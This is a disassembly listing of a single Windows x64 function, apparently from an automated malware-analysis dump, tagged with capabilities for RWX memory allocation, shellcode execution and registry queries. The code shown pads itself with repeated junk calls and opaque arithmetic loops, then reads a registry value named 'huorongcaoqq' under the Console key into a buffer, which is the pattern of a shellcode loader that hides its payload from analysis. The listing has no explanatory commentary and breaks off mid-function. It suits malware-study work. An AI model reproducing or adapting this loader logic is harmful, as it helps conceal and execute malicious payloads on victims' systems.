Function at 0x140001560
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Query or enumerate registry value

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
mov rbp, rsp
sub rsp, 0x40
call fcn.140001140
test eax, eax
je 0x14000157c
call fcn.140001090
call section..text
test eax, eax
je 0x14000158a
call fcn.1400011f0
call fcn.140001090
test eax, eax
je 0x140001598
call fcn.140001140
call fcn.1400011f0
test eax, eax
je 0x1400015a6
call fcn.140001090
call fcn.140001090
test eax, eax
je 0x1400015b4
call section..text
call fcn.140001140
test eax, eax
je 0x1400015c2
call fcn.1400011f0
call fcn.1400011f0
test eax, eax
je 0x1400015d0
call fcn.140001090
call fcn.140001090
test eax, eax
je 0x1400015de
call section..text
call fcn.1400012a0
test eax, eax
je 0x1400015ec
call fcn.140001350
call fcn.140001350
test eax, eax
je 0x1400015fa
call fcn.140001400
call fcn.140001400
test eax, eax
je 0x140001608
call fcn.1400014b0
call fcn.1400014b0
test eax, eax
je 0x140001616
call fcn.1400012a0
call section..text
test eax, eax
je 0x140001624
call fcn.1400012a0
call fcn.140001090
test eax, eax
je 0x140001632
call fcn.140001350
call fcn.140001140
test eax, eax
je 0x140001640
call fcn.140001400
call fcn.1400011f0
test eax, eax
je 0x14000164e
call fcn.1400014b0
call fcn.1400011f0
test eax, eax
je 0x14000165c
call fcn.140001090
call fcn.140001090
test eax, eax
je 0x14000166a
call fcn.140001140
call fcn.140001140
test eax, eax
je 0x140001678
call section..text
call section..text
test eax, eax
je 0x140001686
call fcn.140001090
call fcn.140001140
test eax, eax
je 0x140001694
call fcn.140001090
call section..text
test eax, eax
je 0x1400016a2
call fcn.1400011f0
call fcn.140001090
test eax, eax
je 0x1400016b0
call fcn.140001140
call fcn.1400011f0
test eax, eax
je 0x1400016be
call fcn.140001090
call fcn.1400012a0
test eax, eax
je 0x1400016cc
call fcn.140001350
call fcn.140001350
test eax, eax
je 0x1400016da
call fcn.140001400
call fcn.140001400
test eax, eax
je 0x1400016e8
call fcn.1400014b0
call fcn.1400014b0
test eax, eax
je 0x1400016f6
call fcn.1400012a0
call fcn.140001090
test eax, eax
je 0x140001704
call fcn.140001350
call fcn.140001140
test eax, eax
je 0x140001712
call fcn.140001400
call fcn.1400011f0
test eax, eax
je 0x140001720
call fcn.1400014b0
call fcn.1400012a0
test eax, eax
je 0x14000172e
call section..text
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r11, [rbp - 0x10]
lea rdx, str.Console
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rbp - 0x10]
lea rax, [rbp + 0x40]
xor r12d, r12d
lea rdx, str.huorongcaoqq
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], r12
mov dword [rbp + 0x40], r12d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [rbp + 0x40]
call fcn.140004b84
mov rcx, qword [rbp - 0x10]
lea rdx, str.huorongcaoqq
mov rbx, rax
lea rax, [rbp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [rbp + 0x40]
call fcn.140004b84
mov edi, dword [rbp + 0x40]
mov rsi, rax
test edi, edi
je 0x1400017f6
mov r8, rax
sub rbx, rax
mov rdx, rax
neg r8
nop dword [rax]
movzx eax, byte [rbx + rdx]
inc rdx
mov byte [rdx - 1], al
mov edi, dword [rbp + 0x40]
lea rcx, [r8 + rdx]
cmp rcx, rdi
jb 0x1400017e0
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rbp + 0x30], 0x8a
mov dword [rbp + 0x38], 0x79d
mov eax, dword [rbp + 0x30]
and eax, 0x80000001
jge 0x14000181f
dec eax
or eax, 0xfffffffe
inc eax
inc dword [rbp + 0x30]
test eax, eax
jle 0x140001832
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
test eax, eax
jns 0x14000187a
mov eax, dword [rbp + 0x30]
add eax, eax
mov dword [rbp + 0x30], eax
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 2
jge 0x14000186d
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov ecx, dword [rbp + 0x30]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
inc dword [rbp + 0x38]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
cmp eax, 2
jl 0x140001850
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
je 0x14000187a
call fcn.140001140
call fcn.1400011f0
test eax, eax
je 0x1400018f6
mov dword [rbp + 0x30], 0x8a
mov dword [rbp + 0x38], 0x79d
mov eax, dword [rbp + 0x30]
and eax, 0x80000001
jge 0x1400018a2
dec eax
or eax, 0xfffffffe
inc eax
inc dword [rbp + 0x30]
test eax, eax
jle 0x1400018b5
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
test eax, eax
jns 0x1400018f6
mov eax, dword [rbp + 0x30]
add eax, eax
mov dword [rbp + 0x30], eax
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 2
jge 0x1400018f0
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov ecx, dword [rbp + 0x30]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
inc dword [rbp + 0x38]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
cmp eax, 2
jl 0x1400018d3
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
mov dword [rbp + 0x30], 0x8a
mov dword [rbp + 0x38], 0x79d
mov eax, dword [rbp + 0x30]
and eax, 0x80000001
jge 0x140001915
dec eax
or eax, 0xfffffffe
inc eax
inc dword [rbp + 0x30]
test eax, eax
jle 0x140001928
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
test eax, eax
jns 0x14000197a
mov eax, dword [rbp + 0x30]
add eax, eax
mov dword [rbp + 0x30], eax
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 2
jge 0x14000196d
nop word [rax + rax]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov ecx, dword [rbp + 0x30]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
inc dword [rbp + 0x38]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
cmp eax, 2
jl 0x140001950
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
je 0x14000197a
call fcn.1400011f0
mov dword [rbp + 0x30], 0x38
mov dword [rbp + 0x38], 0x11
mov eax, 0x66666667
mov ecx, dword [rbp + 0x30]
dec dword [rbp + 0x30]
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
test ecx, ecx
jle 0x1400019b3
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
cmp eax, 2
jle 0x140001a0c
mov eax, dword [rbp + 0x30]
lea ecx, [rax + rax*4]
mov dword [rbp + 0x30], ecx
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 5
jge 0x1400019ff
nop word [rax + rax]
inc dword [rbp + 0x30]
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
add dword [rbp + 0x38], 3
add dword [rbp + 0x30], 3
mov eax, dword [rbp + 0x30]
cmp eax, 5
jl 0x1400019e0
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
je 0x140001a0c
call fcn.1400011f0
call fcn.1400011f0
test eax, eax
je 0x140001a1a
call fcn.140001090
mov dword [rbp + 0x30], 0x15
mov dword [rbp + 0x38], 0x4b
mov eax, 0x55555556
mov ecx, dword [rbp + 0x30]
dec dword [rbp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
sub ecx, eax
test ecx, ecx
jle 0x140001a51
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
cmp eax, 1
jle 0x140001a98
mov eax, dword [rbp + 0x30]
lea ecx, [rax + rax*2]
mov dword [rbp + 0x30], ecx
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 3
jge 0x140001a8e
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov ecx, dword [rbp + 0x30]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
dec dword [rbp + 0x38]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
cmp eax, 3
jl 0x140001a71
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
test eax, eax
je 0x140001a9d
call fcn.140001140
mov dword [rbp + 0x30], 0x38
mov dword [rbp + 0x38], 0x11
mov eax, 0x66666667
mov ecx, dword [rbp + 0x30]
dec dword [rbp + 0x30]
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
test ecx, ecx
jle 0x140001ad6
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
cmp eax, 2
jle 0x140001ba3
mov eax, dword [rbp + 0x30]
lea ecx, [rax + rax*4]
mov dword [rbp + 0x30], ecx
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 5
jge 0x140001b1f
nop word [rax + rax]
inc dword [rbp + 0x30]
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
add dword [rbp + 0x38], 3
add dword [rbp + 0x30], 3
mov eax, dword [rbp + 0x30]
cmp eax, 5
jl 0x140001b00
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
je 0x140001ba3
mov dword [rbp + 0x30], 0x8a
mov dword [rbp + 0x38], 0x79d
mov eax, dword [rbp + 0x30]
and eax, 0x80000001
jge 0x140001b46
dec eax
or eax, 0xfffffffe
inc eax
inc dword [rbp + 0x30]
test eax, eax
jle 0x140001b59
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
test eax, eax
jns 0x140001ba3
mov eax, dword [rbp + 0x30]
add eax, eax
mov dword [rbp + 0x30], eax
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 2
jge 0x140001b9d
nop word [rax + rax]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov ecx, dword [rbp + 0x30]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
inc dword [rbp + 0x38]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
cmp eax, 2
jl 0x140001b80
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
mov dword [rbp + 0x30], 0x8a
mov dword [rbp + 0x38], 0x79d
mov eax, dword [rbp + 0x30]
and eax, 0x80000001
jge 0x140001bc2
dec eax
or eax, 0xfffffffe
inc eax
inc dword [rbp + 0x30]
test eax, eax
jle 0x140001bd5
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
test eax, eax
jns 0x140001c1d
mov eax, dword [rbp + 0x30]
add eax, eax
mov dword [rbp + 0x30], eax
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 2
jge 0x140001c10
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov ecx, dword [rbp + 0x30]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
inc dword [rbp + 0x38]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
cmp eax, 2
jl 0x140001bf3
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
je 0x140001c1d
call fcn.140001090
call fcn.1400012a0
test eax, eax
je 0x140001c2b
call fcn.140001350
call fcn.140001350
test eax, eax
je 0x140001c39
call fcn.140001400
call fcn.140001400
test eax, eax
je 0x140001c47
call fcn.1400014b0
call fcn.1400014b0
test eax, eax
je 0x140001c55
call fcn.1400012a0
mov dword [rbp + 0x30], 0x15
mov dword [rbp + 0x38], 0x4b
mov eax, 0x55555556
mov ecx, dword [rbp + 0x30]
dec dword [rbp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
sub ecx, eax
test ecx, ecx
jle 0x140001c8c
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
cmp eax, 1
jle 0x140001cd7
mov eax, dword [rbp + 0x30]
lea ecx, [rax + rax*2]
mov dword [rbp + 0x30], ecx
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 3
jge 0x140001ccd
nop dword [rax]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov ecx, dword [rbp + 0x30]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
dec dword [rbp + 0x38]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
cmp eax, 3
jl 0x140001cb0
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
test eax, eax
je 0x140001cdc
call fcn.140001350
mov dword [rbp + 0x30], 0x38
mov dword [rbp + 0x38], 0x11
mov eax, 0x66666667
mov ecx, dword [rbp + 0x30]
dec dword [rbp + 0x30]
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
test ecx, ecx
jle 0x140001d15
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
cmp eax, 2
jle 0x140001d6c
mov eax, dword [rbp + 0x30]
lea ecx, [rax + rax*4]
mov dword [rbp + 0x30], ecx
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 5
jge 0x140001d5f
nop word [rax + rax]
inc dword [rbp + 0x30]
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
add dword [rbp + 0x38], 3
add dword [rbp + 0x30], 3
mov eax, dword [rbp + 0x30]
cmp eax, 5
jl 0x140001d40
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
je 0x140001d6c
call fcn.140001400
call fcn.1400011f0
test eax, eax
je 0x140001d7a
call fcn.1400014b0
call fcn.1400012a0
test eax, eax
je 0x140001df6
mov dword [rbp + 0x30], 0x8a
mov dword [rbp + 0x38], 0x79d
mov eax, dword [rbp + 0x30]
and eax, 0x80000001
jge 0x140001da2
dec eax
or eax, 0xfffffffe
inc eax
inc dword [rbp + 0x30]
test eax, eax
jle 0x140001db5
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
test eax, eax
jns 0x140001df6
mov eax, dword [rbp + 0x30]
add eax, eax
mov dword [rbp + 0x30], eax
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 2
jge 0x140001df0
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov ecx, dword [rbp + 0x30]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
inc dword [rbp + 0x38]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
cmp eax, 2
jl 0x140001dd3
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
mov dword [rbp + 0x30], 0x15
mov dword [rbp + 0x38], 0x4b
mov eax, 0x55555556
mov ecx, dword [rbp + 0x30]
dec dword [rbp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
sub ecx, eax
test ecx, ecx
jle 0x140001e2d
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
cmp eax, 1
jle 0x140001e77
mov eax, dword [rbp + 0x30]
lea ecx, [rax + rax*2]
mov dword [rbp + 0x30], ecx
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 3
jge 0x140001e6d
nop dword [rax]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov ecx, dword [rbp + 0x30]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
dec dword [rbp + 0x38]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
cmp eax, 3
jl 0x140001e50
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
test eax, eax
je 0x140001ef3
mov dword [rbp + 0x30], 0x8a
mov dword [rbp + 0x38], 0x79d
mov eax, dword [rbp + 0x30]
and eax, 0x80000001
jge 0x140001e96
dec eax
or eax, 0xfffffffe
inc eax
inc dword [rbp + 0x30]
test eax, eax
jle 0x140001ea9
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
test eax, eax
jns 0x140001ef3
mov eax, dword [rbp + 0x30]
add eax, eax
mov dword [rbp + 0x30], eax
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 2
jge 0x140001eed
nop word [rax + rax]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov ecx, dword [rbp + 0x30]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
inc dword [rbp + 0x38]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
cmp eax, 2
jl 0x140001ed0
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
mov dword [rbp + 0x30], 0x38
mov dword [rbp + 0x38], 0x11
mov eax, 0x66666667
mov ecx, dword [rbp + 0x30]
dec dword [rbp + 0x30]
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
test ecx, ecx
jle 0x140001f2c
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
cmp eax, 2
jle 0x140001f7c
mov eax, dword [rbp + 0x30]
lea ecx, [rax + rax*4]
mov dword [rbp + 0x30], ecx
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 5
jge 0x140001f6f
nop dword [rax]
inc dword [rbp + 0x30]
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
add dword [rbp + 0x38], 3
add dword [rbp + 0x30], 3
mov eax, dword [rbp + 0x30]
cmp eax, 5
jl 0x140001f50
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
je 0x140001f7c
call fcn.1400011f0
call fcn.1400011f0
test eax, eax
je 0x140001f8a
call fcn.140001090
mov dword [rbp + 0x30], 0x15
mov dword [rbp + 0x38], 0x4b
mov eax, 0x55555556
mov ecx, dword [rbp + 0x30]
dec dword [rbp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
sub ecx, eax
test ecx, ecx
jle 0x140001fc1
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
cmp eax, 1
jle 0x140002008
mov eax, dword [rbp + 0x30]
lea ecx, [rax + rax*2]
mov dword [rbp + 0x30], ecx
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 3
jge 0x140001ffe
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov ecx, dword [rbp + 0x30]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
dec dword [rbp + 0x38]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
cmp eax, 3
jl 0x140001fe1
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
test eax, eax
je 0x140002083
mov dword [rbp + 0x30], 0x8a
mov dword [rbp + 0x38], 0x79d
mov eax, dword [rbp + 0x30]
and eax, 0x80000001
jge 0x140002027
dec eax
or eax, 0xfffffffe
inc eax
inc dword [rbp + 0x30]
test eax, eax
jle 0x14000203a
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
test eax, eax
jns 0x140002083
mov eax, dword [rbp + 0x30]
add eax, eax
mov dword [rbp + 0x30], eax
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 2
jge 0x14000207d
nop dword [rax + rax]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov ecx, dword [rbp + 0x30]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
inc dword [rbp + 0x38]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
cmp eax, 2
jl 0x140002060
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
mov dword [rbp + 0x30], 0x8a
mov dword [rbp + 0x38], 0x79d
mov eax, dword [rbp + 0x30]
and eax, 0x80000001
jge 0x1400020a2
dec eax
or eax, 0xfffffffe
inc eax
inc dword [rbp + 0x30]
test eax, eax
jle 0x1400020b5
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
test eax, eax
jns 0x1400020fd
mov eax, dword [rbp + 0x30]
add eax, eax
mov dword [rbp + 0x30], eax
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 2
jge 0x1400020f0
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov ecx, dword [rbp + 0x30]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
inc dword [rbp + 0x38]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
cmp eax, 2
jl 0x1400020d3
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
je 0x1400020fd
call fcn.140001140
call fcn.1400011f0
test eax, eax
je 0x140002183
mov dword [rbp + 0x30], 0x8a
mov dword [rbp + 0x38], 0x79d
mov eax, dword [rbp + 0x30]
and eax, 0x80000001
jge 0x140002125
dec eax
or eax, 0xfffffffe
inc eax
inc dword [rbp + 0x30]
test eax, eax
jle 0x140002138
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
test eax, eax
jns 0x140002183
mov eax, dword [rbp + 0x30]
add eax, eax
mov dword [rbp + 0x30], eax
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 2
jge 0x14000217d
nop word [rax + rax]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov ecx, dword [rbp + 0x30]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
inc dword [rbp + 0x38]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
cmp eax, 2
jl 0x140002160
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
mov dword [rbp + 0x30], 0x8a
mov dword [rbp + 0x38], 0x79d
mov eax, dword [rbp + 0x30]
and eax, 0x80000001
jge 0x1400021a2
dec eax
or eax, 0xfffffffe
inc eax
inc dword [rbp + 0x30]
test eax, eax
jle 0x1400021b5
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
test eax, eax
jns 0x1400021fd
mov eax, dword [rbp + 0x30]
add eax, eax
mov dword [rbp + 0x30], eax
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 2
jge 0x1400021f0
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov ecx, dword [rbp + 0x30]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
inc dword [rbp + 0x38]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
cmp eax, 2
jl 0x1400021d3
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
je 0x1400021fd
call fcn.1400011f0
mov dword [rbp + 0x30], 0x38
mov dword [rbp + 0x38], 0x11
mov eax, 0x66666667
mov ecx, dword [rbp + 0x30]
dec dword [rbp + 0x30]
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
test ecx, ecx
jle 0x140002236
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
cmp eax, 2
jle 0x14000228c
mov eax, dword [rbp + 0x30]
lea ecx, [rax + rax*4]
mov dword [rbp + 0x30], ecx
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 5
jge 0x14000227f
nop word [rax + rax]
inc dword [rbp + 0x30]
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
add dword [rbp + 0x38], 3
add dword [rbp + 0x30], 3
mov eax, dword [rbp + 0x30]
cmp eax, 5
jl 0x140002260
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
je 0x14000228c
call fcn.1400011f0
call fcn.1400012a0
test eax, eax
je 0x14000229a
call fcn.140001350
call fcn.140001350
test eax, eax
je 0x1400022a8
call fcn.140001400
call fcn.140001400
test eax, eax
je 0x1400022b6
call fcn.1400014b0
call fcn.1400014b0
test eax, eax
je 0x1400022c4
call fcn.1400012a0
mov dword [rbp + 0x30], 0x8a
mov dword [rbp + 0x38], 0x79d
mov eax, dword [rbp + 0x30]
and eax, 0x80000001
jge 0x1400022e3
dec eax
or eax, 0xfffffffe
inc eax
inc dword [rbp + 0x30]
test eax, eax
jle 0x1400022f6
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
test eax, eax
jns 0x14000233e
mov eax, dword [rbp + 0x30]
add eax, eax
mov dword [rbp + 0x30], eax
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 2
jge 0x140002331
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov ecx, dword [rbp + 0x30]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
inc dword [rbp + 0x38]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
cmp eax, 2
jl 0x140002314
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
je 0x14000233e
call fcn.140001400
mov dword [rbp + 0x30], 0x15
mov dword [rbp + 0x38], 0x4b
mov eax, 0x55555556
mov ecx, dword [rbp + 0x30]
dec dword [rbp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
sub ecx, eax
test ecx, ecx
jle 0x140002375
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
cmp eax, 1
jle 0x1400023c7
mov eax, dword [rbp + 0x30]
lea ecx, [rax + rax*2]
mov dword [rbp + 0x30], ecx
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 3
jge 0x1400023bd
nop word [rax + rax]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov ecx, dword [rbp + 0x30]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
dec dword [rbp + 0x38]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
cmp eax, 3
jl 0x1400023a0
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
test eax, eax
je 0x1400023cc
call fcn.1400014b0
mov dword [rbp + 0x30], 0x38
mov dword [rbp + 0x38], 0x11
mov eax, 0x66666667
mov ecx, dword [rbp + 0x30]
dec dword [rbp + 0x30]
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
test ecx, ecx
jle 0x140002405
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
cmp eax, 2
jle 0x14000245c
mov eax, dword [rbp + 0x30]
lea ecx, [rax + rax*4]
mov dword [rbp + 0x30], ecx
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 5
jge 0x14000244f
nop word [rax + rax]
inc dword [rbp + 0x30]
mov ecx, dword [rbp + 0x38]
